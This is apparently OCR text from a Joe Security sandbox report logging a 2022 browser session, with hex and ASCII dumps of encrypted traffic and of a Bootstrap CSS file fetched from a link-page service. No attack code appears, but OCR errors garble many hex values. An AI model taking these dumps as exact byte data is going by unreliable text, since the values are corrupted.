6b 42 3d 12 cc 3c 49 fa 27 81 3f 44 fb 9e cd 85 8¢ da bb 03 c4 96 b3 81 63 Ob 09 c5 8f 1b b5 7e 21 1d 2d 51 b3 49 bf f2
ed 9d 4f 0a a3 d3 a6 d8 le 36 e5 c3 5a 75 12 02 35 55 c6 4f 4¢c 85 97 31 56 7e 14 79 6f a8 90 a6 d9 2d 5e 0d 14 a9 ef 04
ea 62 9b b4 eb e3 f2 2¢ f7 12 4c c6 1b 72 d1 2e dd 54 b6 c3 96 c1 5c 08 88 60 fe cd 1f 8d 65 ee 2c f3 3d 8e 1a 63 el 8e
4e 8a 2a 8e e5 15 26 a3 ce dc 6f a9 1f dd 9b 1d 35 35

Data Ascii: %TrM52+MCilclweqJdHo/J<jk]kb=5u3|jeeu 4[u{4)vF![<~VkB=<I"?Dc~!-QI06Zu5UOL1V~yo-"b,Lr.T\"
e,=cN*&055

Data Raw: e5 Oc 6a c7 2c c3 b3 9e e3 c5 a8 d9 be 24 2b 71 b7 ef ca al 76 dd Ob 58 ef 56 27 fc 9d e3 74 e4 f5 d5 e9 3d 6¢
3e Oe d0 2b 7c f1 21 a3 80 91 f1 49 4e dc 47 a8 ea 1a c3 72 fO fa ea d6 6f d9 07 fb 86 22 87 92 el b3 ec 28 67 ba 81 Oa
46 02 b8 3d 49 84 ed 4e 95 68 7b f6 cf f9 75 53 c4 0f e0 36 1f 5a 02 47 49 4d 65 57 74 64 ae 3a 9b 04 4e Oe 33 92 d3 cd
9e e1 80 59 15 60 df 58 39 2c¢ ¢8 d0 c0 22 08 45 fa 98 79 d1 b3 8c 10 38 03 20 7f be e2 27 6e d1 00 71 03 de 2a ea 36 21
bb 9f 67 6f cc c5 68 fc 35 32 fd 63 ac 17 31 18 40 87 c3 34 6a cb a3 ef fd 1d 44 8f 83 f2 b3 d2 f6 61 06 6e Ob al b9 82 23
76 a5 7d 8d 3b 1f 86 cO 13 09 47 16 85 8f d7 d3 d6 62 c3 e7 30 85 a6 02 €9 09 d4 6e b6 07 33 d5 55 2b 28 51 94 0a 57
58 33 ¢4 99 e0 47 01 f1 c2 9b 9f 24 27 87 0Of 68 66 5d

Data Ascii: j,$+qvXV't=I>+|!INGro"(gF=INh{uS6ZGIMeWtd:N3Y X9,"Ey8 'nq*6!goh52c1@4jDan#v};GbOn3U+(QWX3G$'hf]

Data Raw: 52 e5 64 e4 ce ee 27 la dc 07 70 al 48 68 3c 58 70 4a 5f 56 4d 71 29 df af Oc ce c6 5f 40 67 d2 7f 78 89 6f 3e
17 0a 57 dc 17 bd 84 82 3c da 77 21 32 21 37 2f 8e 27 81 4f bc 69 f7 d1 63 aa b9 d5 8 fd 10 eb 91 4c 3c 7c 6f 60 43 ac
7e aa Oa c8 2f b3 b9 06 a8 c8 8a 38 eb ¢4 c4 42 88 9f 88 9c e6 c7 61 d0 94 2¢ f9 b7 94 31 dO be cb 7c 83 48 a8 3f 14 b6
00 27 25 c4 fb 50 2e 3f 27 7a 1e Oe al 6f 4b 29 e4 d4 31 30 4d 9c ff 9b 19 f2 a0 0f ¢4 5a 75 7c 62 95 42 bd 73 50 69 c1
3a5b 14 2d 1b 45 e5 92 b7 81 57 ee d8 a6 bc 55 ch 58 7e 3d f6 00 8f f4 42 6¢ 09 78 f1 9e 50 58 37 el 29 48 fd 9b 66 cc
86 40 f3 c6 ¢5 50 36 a7 0a 65 70 9f 32 28 5d 54 f7 d6 52 d2 ec 56 Oc d1 45 54 4a b6 e8 02 f8 46 05 21 37 53 48 42 9f e7
e7 7a 68 83 4d 26 4e a5 9d 89 79 7a 33 e4 97 f9 14 Oe

Data Ascii: Rd'pHh<XpJ_VMq)_@gxo>W<w!2!7/'OicL<|o’C~/8Ba,1|H?'%P.?'z0K)10MZu|bBsPi:[-EWUX~=BIXPX7)Hf
@P6ep2(JTRVETJIFI7SHBzhM&Nyz3

Data Raw: 9a al 9b 1f 13 89 88 d1 7a 4a c2 76 81 fa 81 b8 e5 be 71 e7 Ob 06 cf 07 55 2a 43 51 07 13 74 8c 29 ad 7c 3c
02 e4 8f 19 21 94 d6 d8 3d fa a2 65 8a e5 fc a6 38 8e 1a 8f 8f eb fa 6d 4b 3a 9d 32 ea 18 bd 2c 75 1la a3 2a de dc 06 93
f4 69 9a 25 44 75 33 24 08 10 77 21 52 cfa7 97 €9 cc 53 b0 29 d2 7b 77 cc bc 23 56 ed 92 82 d6 69 07 e6 a2 7f 81 b4 fc
dac2 ec e2 36 ae b4 cf 18 b5 c0 90 a7 9a ce e3 54 12 76 97 d1 03 b3 70 5a fa ae 44 a7 68 5a 6a 5d 18 94 27 79 c0 c6 24
4d 62 f6 a6 9a 86 e6 c0 6b 69 17 d8 14 01 09 16 da 90 e2 d9 dO ce f7 6¢ cd bl 6b ff 86 58 79 e6 ba 33 af 9c 37 42 cb dd
73 ee d2 02 8a 2e 81 d1 fe 3b 13 dc 85 4b aa e3 17 4f 99 3f db e6 16 dc 82 e0 f1 28 93 f5 21 cd 5f 24 9b 9e 36 00 52 d2
9f 61 65 fe d9 75 5d f1 4f dc 03 49 a0 62 47 f1 f4 d2 99

Data Ascii: zJvqU*CQt)|<!=e8mK:2,u*i%Du3$w!RS)}{w#Vi6 TvpZDhZj]'y$MbkilkXy37Bs.;KO?(!_$6Raeu]OIbG

Data Raw: 29 23 43 52 65 7d ba 5d 86 9d 7d 51 a4 ce d1 13 88 f9 56 7e 24 8d de 68 88 cf 2f cd 2b 3b 5b a5 10 7c af 77
64 8e 25 34 36 76 c8 26 70 36 33 98 4e 39 fO fe 82 17 4e 6b 15 ce 1le 37 65 c4 a0 aa el 70 9a e5 13 9¢c 30 16 13 f9 b3 1e
e7 12 f9 48 d5 2e ¢8 c5 45 60 ff fe 01 5a a0 86 ca 42 9c 47 e2 19 38 27 6a 42 1d 5b 1b 5e 5e 78 4e 2d f8 5a 15 7a 4b f1
d0 63 5d 6¢ cc ¢l e0 79 88 a2 ce c7 29 25 be e0 09 c1 93 49 46 42 56 9c 12 ae d2 73 6e 2e 10 26 48 67 6¢ d3 Oa ca 85
50 f4 84 08 33 aa 5¢c 5 5b 86 7 4d 8c 29 f4 64 6e 48 b6 al 4a f5 a8 94 b7 98 81 5a fa 71 57 40 aa 32 3e db 51 91 9c a4
55 fd 55 91 53 ¢7 ¢3 ad b0 4b ae 9a a4 32 13 cb 0f 87 c5 a7 2¢ 95 1a 0f ¢8 7d 58 59 02 ae 9b f1 ca 9c cb 8b 50 ee 19 cd
7 3b 68 6f 77 bb €3 45 54 ad 9e 88 00 55 23 98 32 1e 29 86

Data Ascii: J#CRe}]}QV~$h/+;[|wd%46v&p63NINK7epOH.E"ZBG8'B[“*xN-ZzKc]ly)%IFBVsn.&HgIP3\[M)dnHIZqW@2
>QUUSK2,}XYP;howETU#2)

Data Raw: 7f e3 41 03 c9 42 06 3a c6 1c 4e 82 e6 94 7c b3 8c bf 72 d3 39 8a 6b 68 c6 ce 97 ca 3d 9b 03 23 9c 16 36 8
aa 88 44 fb 5¢ 8b b2 b6 58 c0 16 47 16 6b 80 8f 12 3b ¢5 96 29 e7 2e 76 bc 58 8b 40 73 9f fb eb df 53 34 dc 1c 5¢ 2b a2
f2 b3 59 a5 8¢ 73 8d da b4 f8 d3 28 c6 c2 a7 62 d7 al 77 eb 61 fO 45 38 8¢ fd 81 2a €5 d9 39 93 ee 30 7a 39 cd 91 66 98
b7 58 9e 5f ff fd 28 59 18 e2 9d ¢6 66 07 44 7c 12 37 15 12 52 d1 al 21 35 97 74 ¢3 60 c7 35 92 d3 11 5b 2e 96 cf 73 52
407 1e ac 6¢ 79 e0 77 d9 a9 78 39 fe 5b 02 35 cc 19 30 48 df 53 a3 07 f1 17 b2 f8 al 10 d9 74 ef 3b c4 c5 cf 30 7d bb cd
47 71 18 ee ec 4a 2f e4 37 b3 d7 e0 59 32 75 eb 63 4e 02 5d b9 10 7b 4c d7 9a e3 fd b3 24 b9 01 01 b7 01 00 44 d4 50
77 25 6 d5 27 c0 d5 96 2f 8b b7 d5 54 56 52 54 bl 21 27

Data Ascii: AB:N|rOkh=#6D\XGKk;).vX@sS4\+Ys(bwaE8*90z9fX_(YfD|7R!5t 5[.sSR@lywx9[50HSt;0}GqJ/7Y2ucNJ{L
$DPW%'/TVRT!

Data Raw: b2 3e 3e be ea 4e 57 33 ed 7d 23 59 cf d3 b3 €9 0d b0 96 81 ed b7 a6 20 03 €8 d1 aa 07 cd 01 3a 39 f3 dc ab
53 67 27 24 f9 36 58 56 91 0d 5f 09 75 e3 67 €8 26 8b 30 7 88 83 04 a5 0a 83 5d Oc a3 fb e2 72 e0 5b d5 89 93 9d 84 af
cca7 72 ee d3 d4 00 66 a6 77 bl ee f0 d3 32 d9 99 4f 54 05 34 0f 05 b7 1b 7c 1d 55 55 0f 69 25 c8 ef 5b ae 42 09 5b 8d
bb ab 06 0d 1c cb ¢3 70 71 08 da 96 a2 b7 b9 47 8a 86 36 €5 c0 7 99 fe da 6b 4f 37 55 5d ce 02 f9 5b Oe 40 1b dc d3 e7
b0 14 84 e3 9b 58 20 c9 a3 7a da da 33 b2 da 84 3d 89 2f f1 b9 eb 87 6d 48 61 7b 8b db 56 fa 3e b5 d9 a6 5e 06 f0 14 2e
0b Oa 1a f2 42 c9 dd 9b 96 68 7d ec c7 39 71 2d bc 25 a9 be 4b 91 el 2e 7c 90 9a 0d 88 11 e5 6 7d e2 08 75 f8 95 47 f5
9d 34 7a 6e a9 2f 2f c4 38 8d 3a e3 cf be 01 e2 6e 7c 5¢

Data Ascii: >>NW3}Y :9Sg'$6XV_ug&0]r[rfw20T4|UUi%[B[pgGekO7U][@X z3=/mHa{V>".Bh}9q-%K.|}uG4zn//8:n|\

Data Raw: ad 3b 9f 5d 09 5b b7 17 ca 63 bf c8 78 58 85 26 53 1f 14 05 8d fO ee 10 a5 e4 a5 cd Oe 4c 8f f1 b0 90 84 f8 14
74 e0 c1 de ef 40 a9 e3 d7 9a c9 91 ba a0 4b ee 05 f4 13 57 8e 09 2c a0 c0 69 6a a7 ee 6 6b 62 Of bf c2 f4 eb cd 7c 0d
d4 fc ef 5a ee ca eb 89 dc d7 c6 6e 0d 8a a0 20 fa 83 9a 4c f5 8f 11 6a 06 5a e2 fd a9 51 4b c7 aa 2a 24 90 2a a6 e0 87
8889 72 2b bc 18 28 4e 98 6d fa 19 7b 72 f4 cc d9 97 91 12 8¢ 97 8a 43 d4 f7 53 f9 f7 05 b1 65 9b 50 8a 9f 69 33 20 08
1504 dd e9 c3 56 46 e5 92 cb a7 47 9c 1c c5 af 63 f9 98 9e c4 aa 6a ac 54 24 e4 5f 21 4f 3b 67 cb 7f 98 b7 22 58 98 58
af 43 d5 00 3f 85 df 25 a9 8e 29 71 26 94 c1 e6 8a 10 69 88 81 85 ae ch cb 7b 91 71 a3 4e 35 2a c6 fd a7 8d c7 09 c5 92
ca 84 60 3b cf fe 6¢ 90 95 e2 bl 14 58 97 c2 cc ce b2

Data Ascii: ;][cxX&SLt@KW,ijkb|Zn LjiZQK*$*r+(Nm{rCSePi3 VFGCcjT$_!0;g"XXC?%)q&i{qN5*;I1X

Data Raw: eb f4 b7 8d ae 52 9a 7e 23 ca 70 c5 6¢ 26 85 f5 6¢ Oe cd b7 cb b9 8e fa db fe 7 8e cb c0 44 46 al 30 28 67 ab
59 36 d9 53 83 e5 1f e6 ae 2d 80 6e 32 5e c2 25 69 44 db a9 70 2e f6 23 d4 e6 ef 82 62 5a 3b 98 e7 8f 10 20 ec 22 74 e2
al 84 c5 a2 c9 c5 9f f9 6f a2 b2 fe 06 4c 9b 64 0f 93 cd 41 7c 04 bf 04 90 cO e4 ce c8 de a8 db a4 05 06 2b d4 Ob 7a 54
Oe 46 49 49 9d f4 86 8a 57 e7 00 45 e5 08 be 8d 24 ea 89 ef ae 08 1f dc 9e e0 96 30 ae b0 cb 8¢ 89 60 54 c6 8b fc ed 7f
d7 7c 47 9d 67 2f 05 16 1d 7c c1 c6 10 33 70 72 2f f3 a3 b4 ac 88 7f 5f f3 b1 39 e5 88 4a 3f 00 a8 2b 78 ea af dO 1f af 7a
2a 5220 c2 27 38542 5c 28 8a ee d3 87 15 2d 63 12 97 af 9b d1 87 99 57 e4 ea 47 Oe 85 bf cd 7e 2b 7e Ob 48 7d 40 1b
3c 61 1le c8 96 c2 b2 bl c4 6a ec a4 11 13 b7 86 d6

Data Ascii: R~#pl&IDFO(gY6S-n2"%iDp.#bZ; "toLdA|+zTFIIWES$0 T|Gg/|3pr/_9J?+xz*R '8B\(-cWG~+~H}@<aj

Destination IP Destination Process
Port
165.227.107.5 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Session ID Source IP

Timestamp

2022-05-13 12:56:11 UTC 74

2022-05-13 12:56:11 UTC 77

2022-05-13 12:56:12 UTC 109

2022-05-13 12:56:12 UTC 125

2022-05-13 12:56:12 UTC 205

2022-05-13 12:56:12 UTC 221

2022-05-13 12:56:12 UTC 237

Copyright Joe Security LLC 2022

kBytes
transferred

Source Port

Direction

ouT

Destination
Destination IP Process
Port

Data

GET /themes/altum/assets/css/bootstrap.min.css?v=2&init=1652446571 HTTP/1.1

Host: app.znaplink.com

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36

Accept: text/css,*/*;q=0.1

Sec-Fetch-Site: cross-site

Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: style

Referer: https://znap.link/andrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-
michell.com

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

HTTP/1.1 200 OK

Date: Fri, 13 May 2022 12:56:11 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Thu, 31 Mar 2022 10:25:30 GMT
ETag: "40348-5db8114d39e7a"
Accept-Ranges: bytes

Content-Length: 262984

Cache-Control: max-age=2592000
Expires: Sun, 12 Jun 2022 12:56:11 GMT
Vary: Accept-Encoding
Access-Control-Allow-Origin: *
Connection: close

Content-Type: text/css

Data Raw: ef bb bf 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 35 2e 32 20 28 68 74 74 70 73 3a 2f 2f 67
65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 Oa 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 30
20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31
2d 323032302054 77 69 74 74 65 72 2c 20 49 6e 63 2e 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d
4954 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6¢ 6f
62 2f 6d 61 69 6e 2f 4¢c 49 43 45 4e 53 45 29 0Oa 20 2a 2f 0Oa Oa 3a 72 6f 6f 74 20 7b 0a 20 20 2d 2d 62 6¢ 75 65 3a 20 23
3030 37 62 66 66 3b 0a 20 20 2d 2d 69 6e 64 69 67 6f

Data Ascii: /*! * Bootstrap v4.5.2 (https://getbootstrap.com/) * Copyright 2011-2020 The Bootstrap Authors * Copyright 2
011-2020 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */:root { --blue: #00
7bff; --indigo

Data Raw: 64 65 72 3a 20 39 3b 0a 20 20 7d 0a 20 20 2e 6f 72 64 65 72 2d 6d 64 2d 31 30 20 7b 0a 20 20 20 20 6f 72 64
65 72 3a 20 31 30 3b 0a 20 20 7d Oa 20 20 2e 6f 72 64 65 72 2d 6d 64 2d 31 31 20 7b Oa 20 20 20 20 6f 72 64 65 72 3a
20 31 31 3b 0a 20 20 7d 0a 20 20 2e 6f 72 64 65 72 2d 6d 64 2d 31 32 20 7b 0a 20 20 20 20 6f 72 64 65 72 3a 20 31 32
3b 0a 20 20 7d Oa 20 20 2e 6f 66 66 73 65 74 2d 6d 64 2d 30 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a
20 30 3b 0a 20 20 7d 0a 20 20 2e 6f 66 66 73 65 74 2d 6d 64 2d 31 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6¢ 65 66
74 3a 20 38 2e 33 33 33 33 33 33 33 33 33 33 25 3b 0a 20 20 7d Oa 20 20 2e 6f 66 66 73 65 74 2d 6d 64 2d 32 20 7b Oa
2020 20 20 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 20 31 36 2e 36 36 36 36

Data Ascii: der: 9; } .order-md-10{ order: 10; } .order-md-11{ order: 11; } .order-md-12{ order: 12; } .offset-
md-0{ margin-left: 0; } .offset-md-1{ margin-left: 8.3333333333%; } .offset-md-2{ margin-left: 16.6666

Data Raw: 2e 74 61 62 6¢ 65 2d 70 72 69 6d 61 72 79 2d 38 30 30 3a 68 6f 76 65 72 20 3e 20 74 68 20 7b Oa 20 20 62
61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 20 23 62 34 63 37 63 38 3b 0a 7d Oa 2e 74 61 62 6¢ 65 2d 70 72 69 6d 61
7279 2d 39 30 30 2c Oa 2e 74 61 62 6¢ 65 2d 70 72 69 6d 61 72 79 2d 39 30 30 20 3e 20 74 68 2c Oa 2e 74 61 62 6¢ 65
2d 70 72 69 6d 61 72 79 2d 39 30 30 20 3e 20 74 64 20 7b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 2
02363316364 6366 3b0a 7d 0a 2e 74 61 62 6¢ 65 2d 70 72 69 6d 61 72 79 2d 39 30 30 20 74 68 2c Oa 2e 74 61 62
6¢c 65 2d 70 72 69 6d 61 72 79 2d 39 30 30 20 74 64 2c Oa 2e 74 61 62 6¢ 65 2d 70 72 69 6d 61 72 79 2d 39 30 30 20 74
68 65 61 64 20 74 68 2c Oa 2e 74 61 62 6¢ 65 2d 70 72 69 6d 61 72 79 2d

Data Ascii: .table-primary-800:hover > th { background-color: #b4c7c8;}.table-primary-900,.table-primary-900 > th,.table-
primary-900 > td { background-color: #clcdcf;}.table-primary-900 th,.table-primary-900 td,.table-primary-900 thead th
,.table-primary-

Data Raw: 20 20 63 6f 6¢ 6f 72 3a 20 23 66 66 66 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 20 23
66 66 35 34 37 32 3b 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6¢ 6f 72 3a 20 23 66 66 35 34 37 32 3b 0a 20 20 62 6f 78 2d 73
68 61 64 6f 77 3a 20 30 20 30 20 30 20 30 2e 32 72 65 6d 20 72 67 62 61 28 32 35 32 2¢ 20 34 33 2c¢ 20 38 38 2c¢ 20 30
2e 3529 3b 0a 7d Oa 2e 62 74 6e 2d 70 72 69 6d 61 72 79 2e 64 69 73 61 62 6¢ 65 64 2c 0a 2e 62 74 6e 2d 70 72 69 6d
6172 79 3a 64 69 73 61 62 6¢ 65 64 20 7b 0a 20 20 63 6f 6¢ 6f 72 3a 20 23 66 66 66 3b 0a 20 20 62 61 63 6b 67 72 6f 7
5 6e 64 2d 63 6f 6¢ 6f 72 3a 20 23 66 66 35 34 37 32 3b 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6¢ 6f 72 3a 20 23 66 66 35 3
437 32 3b 0a 7d 0a 2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 6e 6f

Data Ascii: color: #fff; background-color: #{f5472; border-color: #ff5472; box-shadow: 0 0 0 0.2rem rgba(252, 43, 88,
0.5);}.btn-primary.disabled,.btn-primary:disabled { color: #fff; background-color: #{f5472; border-color: #{f5472;}.btn-prim
ary:no

Data Raw: 66 35 65 61 3b 0a 7d Oa 2e 62 74 6e 2d 70 72 69 6d 61 72 79 2d 32 30 30 3a 6e 6f 74 28 3a 64 69 73 61 62 6C
65 64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6¢ 65 64 29 3a 61 63 74 69 76 65 2c Oa 2e 62 74 6e 2d 70 72 69 6d 61 72 79
2d 32 30 30 3a 6e 6f 74 28 3a 64 69 73 61 62 6¢ 65 64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6¢ 65 64 29 2e 61 63 74 69
76 65 2c Oa 2e 73 68 6f 77 20 3e 20 2e 62 74 6e 2d 70 72 69 6d 61 72 79 2d 32 30 30 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f
67 67 6¢ 65 20 7b 0a 20 20 63 6f 6¢ 6f 72 3a 20 23 32 34 32 34 32 34 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f
6¢ 6f 72 3a 20 23 38 35 65 66 64 64 3b 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6¢ 6f 72 3a 20 23 37 61 65 65 64 61 3b Oa 7d
Oa 2e 62 74 6e 2d 70 72 69 6d 61 72 79 2d 32 30 30 3a 6e 6f 74

Data Ascii: f5ea;}.btn-primary-200:not(:disabled):not(.disabled):active,.btn-primary-200:not(:disabled):not(.disabled).a
ctive,.show > .btn-primary-200.dropdown-toggle { color: #242424; background-color: #85efdd; border-color: #7aeeda;}.b
tn-primary-200:not
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kBytes

Timestamp transferred Direction
2022-05-13 12:56:12 UTC 324 IN
2022-05-13 12:56:12 UTC 340 IN
2022-05-13 12:56:12 UTC 356 IN
2022-05-13 12:56:12 UTC 372 IN
2022-05-13 12:56:12 UTC 388 IN
2022-05-13 12:56:12 UTC 404 IN
2022-05-13 12:56:12 UTC 420 IN
2022-05-13 12:56:12 UTC 436 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 63 74 69 76 65 3a 66 6f 63 75 73 2c Oa 2e 73 68 6f 77 20 3e 20 2e 62 74 6e 2d 6f 75 74 6¢ 69 6e 65 2d 67 72
6179 2d 34 30 30 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6¢ 65 3a 66 6f 63 75 73 20 7b 0a 20 20 62 6f 78 2d 73 68 61
64 6f 77 3a 20 30 20 30 20 30 20 30 2e 32 72 65 6d 20 72 67 62 61 28 32 31 34 2¢ 20 32 31 34 2¢ 20 32 31 34 2c 20 30
2e 3529 3b 0a 7d Oa 2e 62 74 6e 2d 6f 75 74 6¢ 69 6e 65 2d 67 72 61 79 2d 35 30 30 20 7b 0a 20 20 63 6f 6¢ 6f 72 3a
20 23 62 30 62 30 62 30 3b 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6¢ 6f 72 3a 20 23 62 30 62 30 62 30 3b Oa 7d Oa 2e 62 74
6e 2d 6f 75 74 6¢ 69 6e 65 2d 67 72 61 79 2d 35 30 30 3a 68 6f 76 65 72 20 7b 0a 20 20 63 6f 6¢ 6f 72 3a 20 23 32 34 32
34 32 34 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢

Data Ascii: ctive:focus,.show > .btn-outline-gray-400.dropdown-toggle:focus { box-shadow: 0 0 0 0.2rem rgba(214, 214, 2
14, 0.5);}.btn-outline-gray-500 { color: #b0b0b0; border-color: #b0b0b0;}.btn-outline-gray-500:hover { color: #242424;
background-col

Data Raw: 64 64 65 6e 3b 0a 20 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6¢ 69 64 20 23 66 32 66 32 66
32 3b 0a 7d Oa 2e 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 20 7b 0a 20 20 64 69 73 70 6¢ 61 79 3a 20 62 6¢ 6f 63 6b 3b O0a
2020 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 2e 32 35 72 65 6d 20 31 2e 35 72 65
6d 3b 0a 20 20 63 6¢ 65 61 72 3a 20 62 6f 74 68 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20
20 63 6f 6¢ 6f 72 3a 20 23 32 34 32 34 32 34 3b 0a 20 20 74 65 78 74 2d 61 6¢ 69 67 6e 3a 20 69 6e 68 65 72 69 74 3b 0
a2020 776869 74 65 2d 73 70 61 63 65 3a 20 6e 6f 77 72 61 70 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢
6f 72 3220 74 72 61 6e 73 70 61 72 65 6e 74 3b 0a 20 20 62 6f 72

Data Ascii: dden; border-top: 1px solid #f2f2f2;}.dropdown-item { display: block; width: 100%; padding: 0.25rem 1.5rem;
clear: both; font-weight: 400; color: #242424; text-align: inherit; white-space: nowrap; background-color: transparent;
bor

Data Raw: 20 2e 63 75 73 74 6f 6d 2d 72 61 6e 67 65 3a 3a 2d 77 65 62 6b 69 74 2d 73 6¢ 69 64 65 72 2d 74 68 75 6d 62
20 7b 0a 20 20 20 20 74 72 61 6e 73 69 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 7d Oa 7d Oa 2e 63 75 73 74 6f 6d 2d
72 61 6e 67 65 3a 3a 2d 77 65 62 6b 69 74 2d 73 6¢ 69 64 65 72 2d 74 68 75 6d 62 3a 61 63 74 69 76 65 20 7b Oa 20 20
62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 20 23 62 35 65 38 65 35 3b 0a 7d Oa 2e 63 75 73 74 6f 6d 2d 72 61 6e
67 65 3a 3a 2d 77 65 62 6b 69 74 2d 73 6¢ 69 64 65 72 2d 72 75 6e 6e 61 62 6¢ 65 2d 74 72 61 63 6b 20 7b Oa 20 20 77
69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 30 2e 35 72 65 6d 3b Oa 20 20 63 6f 6¢ 6f 72 3a 20
7472 61 6e 7370 61 72 65 6e 74 3b 0a 20 20 63 75 72 73 6f 72 3a 20

Data Ascii: .custom-range::-webkit-slider-thumb { transition: none; }}.custom-range::-webkit-slider-thumb:active {
background-color: #b5e8e5;}.custom-range::-webkit-slider-runnable-track { width: 100%; height: 0.5rem; color: transp
arent; cursor:

Data Raw: 74 74 6f 6d 2c 0a 20 20 2e 63 61 72 64 2d 67 72 6f 75 70 20 3e 20 2e 63 61 72 64 3a 6e 6f 74 28 3a 6¢ 61 73
74 2d 63 68 69 6¢ 64 29 20 2e 63 61 72 64 2d 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f
6d 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 20 30 3b Oa 20 20 7d Oa 20 20 2e 63 61 72 64 2d 67 72 6f 75 70 20 3e 20
2e 6361 72 64 3a 6e 6f 74 28 3a 66 69 72 73 74 2d 63 68 69 6¢ 64 29 20 7b 0a 20 20 20 20 62 6f 72 64 65 72 2d 74 6f
70 2d 6¢ 65 66 74 2d 72 61 64 69 75 73 3a 20 30 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 6c 65 66 74
2d 72 61 64 69 75 73 3a 20 30 3b 0a 20 20 7d Oa 20 20 2e 63 61 72 64 2d 67 72 6f 75 70 20 3e 20 2e 63 61 72 64 3a 6e
6f 74 28 3a 66 69 72 73 74 2d 63 68 69 6¢ 64 29 20 2e 63 61 72 64

Data Ascii: ttom, .card-group > .card:not(:last-child) .card-footer { ~border-bottom-right-radius: 0; } .card-group > .card:n
ot(:first-child) { border-top-left-radius: 0; border-bottom-left-radius: 0; } .card-group > .card:not(:first-child) .card

Data Raw: 20 68 72 20 7b Oa 20 20 62 6f 72 64 65 72 2d 74 6f 70 2d 63 6f 6¢ 6f 72 3a 20 23 62 34 63 37 63 38 3b Oa 7d
0a 2e 61 6¢ 65 72 74 2d 70 72 69 6d 61 72 79 2d 38 30 30 20 2e 61 6¢ 65 72 74 2d 6¢ 69 6€ 6b 20 7b 0a 20 20 63 6f 6¢
6f 72 3a 20 23 30 36 30 65 30 66 3b 0a 7d Oa 2e 61 6¢ 65 72 74 2d 70 72 69 6d 61 72 79 2d 39 30 30 20 7b Oa 20 20 63
6f 6¢ 6f 72 3a 20 23 31 32 32 39 32 62 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 20 23 64 33 64 63
64 63 3b 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6¢ 6f 72 3a 20 23 63 31 63 64 63 66 3b Oa 7d Oa 2e 61 6¢ 65 72 74 2d 70 72
69 6d 61 72 79 2d 39 30 30 20 68 72 20 7b Oa 20 20 62 6f 72 64 65 72 2d 74 6f 70 2d 63 6f 6¢ 6f 72 3a 20 23 62 33 63 31
63 34 3b 0a 7d Oa 2e 61 6¢ 65 72 74 2d 70 72 69 6d 61 72 79 2d

Data Ascii: hr { border-top-color: #b4c7c8;}.alert-primary-800 .alert-link { color: #060e0f;}.alert-primary-900 { color:
#12292b; background-color: #d3dcdc; border-color: #clcdcf;}.alert-primary-900 hr { border-top-color: #b3clc4;}.alert-
primary-

Data Raw: 72 3b Oa 20 20 70 61 64 64 69 6e 67 3a 20 30 2e 32 35 72 65 6d 20 30 2e 37 35 72 65 6d 3b 0a 20 20 63 6f 6¢
6f 72 3a 20 23 38 35 38 35 38 35 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 20 72 67 62 61 28 32 35
